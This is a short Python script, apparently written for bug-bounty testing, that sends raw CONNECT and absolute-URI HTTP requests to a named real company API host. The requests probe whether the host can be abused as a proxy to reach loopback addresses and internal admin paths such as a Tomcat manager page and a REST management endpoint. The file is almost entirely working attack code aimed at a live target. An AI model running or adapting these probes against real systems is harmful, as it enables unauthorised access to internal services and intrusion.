#!/usr/bin/env python3
import socket,ssl,re,json,time
HOST='api.baloise.de';PORT=443
cases={
 'connect_loop_9443': 'CONNECT 127.0.0.1:9443 HTTP/1.1\r\nHost: 127.0.0.1:9443\r\nX-Bug-Bounty: dwbzn\r\nProxy-Connection: keep-alive\r\n\r\n',
 'connect_localhost_8443': 'CONNECT localhost:8443 HTTP/1.1\r\nHost: localhost:8443\r\nX-Bug-Bounty: dwbzn\r\nProxy-Connection: keep-alive\r\n\r\n',
 'connect_target_9443': f'CONNECT {HOST}:9443 HTTP/1.1\r\nHost: {HOST}:9443\r\nX-Bug-Bounty: dwbzn\r\nProxy-Connection: keep-alive\r\n\r\n',
 'absolute_https_loop': 'GET https://127.0.0.1:9443/restman/1.0/services HTTP/1.1\r\nHost: 127.0.0.1:9443\r\nX-Bug-Bounty: dwbzn\r\nConnection: close\r\n\r\n',
 'absolute_https_target': f'GET https://{HOST}:9443/restman/1.0/services HTTP/1.1\r\nHost: {HOST}:9443\r\nX-Bug-Bounty: dwbzn\r\nConnection: close\r\n\r\n',
 'absolute_http_loop': 'GET http://127.0.0.1:8080/manager/html HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nX-Bug-Bounty: dwbzn\r\nConnection: close\r\n\r\n',
}
ctx=ssl.create_default_context();ctx.set_alpn_protocols(['http/1.1'])
for name,req in cases.items():
 try:
  raw=socket.create_connection((HOST,PORT),timeout=5);s=ctx.wrap_socket(raw,server_hostname=HOST);s.settimeout(4)
  s.sendall(req.encode()); data=b''
  while len(data)<200000:
   try:
    b=s.recv(65535)
    if not b: break
    data+=b
    if b'\r\n\r\n' in data and name.startswith('connect_'): break
   except socket.timeout: break
  s.close()
  open(f'work/scratch/api-proxy-{name}.bin','wb').write(data)
  statuses=[x.decode('latin1') for x in re.findall(br'HTTP/1\.[01] [0-9]{3}[^\r\n]*',data)]
  print(json.dumps({'name':name,'statuses':statuses,'bytes':len(data),'head':data[:800].decode('latin1','replace')}))
 except Exception as e: print(json.dumps({'name':name,'error':repr(e)}))
